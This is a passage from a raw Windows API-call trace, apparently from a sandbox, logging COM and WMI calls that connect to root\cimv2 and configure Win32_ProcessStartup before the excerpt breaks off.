0x80004002 [0089.699] WbemLocator:IUnknown:AddRef (This=0x1c000a00) returned 0x3 [0089.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000a00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0089.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000a00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0089.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000a00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0089.699] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0089.699] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0089.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000a00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0089.699] WbemLocator:IUnknown:Release (This=0x1c000a00) returned 0x2 [0089.699] WbemLocator:IUnknown:Release (This=0x1c000a00) returned 0x1 [0089.699] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0089.700] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0089.700] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000a00, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c000a00) returned 0x0 [0089.700] WbemLocator:IUnknown:AddRef (This=0x1c000a00) returned 0x3 [0089.700] WbemLocator:IUnknown:Release (This=0x1c000a00) returned 0x2 [0089.700] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c3e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0089.700] WbemDefPath:IWbemPath:GetText (in: This=0x119c3e0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0089.700] WbemDefPath:IWbemPath:GetText (in: This=0x119c3e0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.700] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c000a20) returned 0x0 [0089.700] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c000a20, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf54fb0) returned 0x0 [0089.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54fb0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11df8a0) returned 0x0 [0089.899] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df8a0, pProxy=0x1bf54fb0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0089.899] WbemLocator:IUnknown:Release (This=0x11df8a0) returned 0x1 [0089.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54fb0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11df8e0) returned 0x0 [0089.900] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54fb0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11df8a0) returned 0x0 [0089.900] WbemLocator:IClientSecurity:SetBlanket (This=0x11df8a0, pProxy=0x1bf54fb0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0089.900] WbemLocator:IUnknown:Release (This=0x11df8a0) returned 0x2 [0089.900] WbemLocator:IUnknown:Release (This=0x11df8e0) returned 0x1 [0089.900] CoTaskMemFree (pv=0x1bf3d5e0) [0089.900] WbemLocator:IUnknown:AddRef (This=0x1bf54fb0) returned 0x2 [0089.900] WbemLocator:IUnknown:Release (This=0x1c000a20) returned 0x0 [0089.901] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0089.901] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0089.901] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54fb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11df8b0) returned 0x0 [0089.901] WbemLocator:IRpcOptions:Query (in: This=0x11df8b0, pPrx=0x1c000980, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0089.901] WbemLocator:IUnknown:Release (This=0x11df8b0) returned 0x2 [0089.901] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0089.901] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0089.901] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54fb0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf54fb0) returned 0x0 [0089.901] WbemLocator:IUnknown:Release (This=0x1bf54fb0) returned 0x2 [0089.901] SysStringLen (param_1=0x0) returned 0x0 [0089.902] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0089.902] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0089.902] IWbemServices:GetObject (in: This=0x1bf54fb0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11ef430, ppCallResult=0x0) returned 0x0 [0089.904] IWbemClassObject:Get (in: This=0x11ef430, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0089.904] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0089.904] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0089.904] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0089.904] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0089.905] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0089.905] IUnknown:Release (This=0x111f638) returned 0x1 [0089.907] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c000a20) returned 0x0 [0089.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000a20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0089.907] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000a20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119c320) returned 0x0 [0089.907] WbemDefPath:IUnknown:Release (This=0x1c000a20) returned 0x0 [0089.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119c320) returned 0x0 [0089.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0089.908] WbemDefPath:IUnknown:AddRef (This=0x119c320) returned 0x3 [0089.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0089.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0089.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c000a40) returned 0x0 [0089.908] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000a40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.908] WbemDefPath:IUnknown:Release (This=0x1c000a40) returned 0x3 [0089.908] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0089.908] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0089.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0089.909] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x2 [0089.909] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x1 [0089.909] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0089.909] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0089.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119c320) returned 0x0 [0089.909] WbemDefPath:IUnknown:AddRef (This=0x119c320) returned 0x3 [0089.909] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x2 [0089.909] WbemDefPath:IWbemPath:SetText (This=0x119c320, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0089.909] IWbemClassObject:Get (in: This=0x11ef430, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0bdb0*=0, plFlavor=0x2a0bdb4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0bdb0*=19, plFlavor=0x2a0bdb4*=0) returned 0x0 [0089.909] IWbemClassObject:Get (in: This=0x11ef430, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0bdb0*=19, plFlavor=0x2a0bdb4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0bdb0*=19, plFlavor=0x2a0bdb4*=0) returned 0x0 [0089.909] IWbemClassObject:Put (This=0x11ef430, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0089.910] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bde0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0089.910] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0089.910] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0089.910] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.910] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0089.910] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0089.910] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0089.910] IUnknown:Release (This=0x111f638) returned 0x1 [0089.914] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c0006c0) returned 0x0 [0089.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0006c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0089.915] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0006c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119b5a0) returned 0x0 [0089.915] WbemDefPath:IUnknown:Release (This=0x1c0006c0) returned 0x0 [0089.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119b5a0) returned 0x0 [0089.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0089.915] WbemDefPath:IUnknown:AddRef (This=0x119b5a0) returned 0x3 [0089.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0089.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0089.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c000600) returned 0x0 [0089.915] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000600, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.915] WbemDefPath:IUnknown:Release (This=0x1c000600) returned 0x3 [0089.916] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0089.916] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0089.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0089.916] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x2 [0089.916] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x1 [0089.916] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0089.916] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0089.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b5a0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119b5a0) returned 0x0 [0089.916] WbemDefPath:IUnknown:AddRef (This=0x119b5a0) returned 0x3 [0089.916] WbemDefPath:IUnknown:Release (This=0x119b5a0) returned 0x2 [0089.916] WbemDefPath:IWbemPath:SetText (This=0x119b5a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0089.916] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0089.916] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0089.916] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.916] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0089.916] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0089.917] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0089.917] IUnknown:Release (This=0x111f638) returned 0x1 [0089.918] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c000840) returned 0x0 [0089.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000840, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0089.918] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c000840, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c000760) returned 0x0 [0089.918] WbemLocator:IUnknown:Release (This=0x1c000840) returned 0x0 [0089.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000760, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 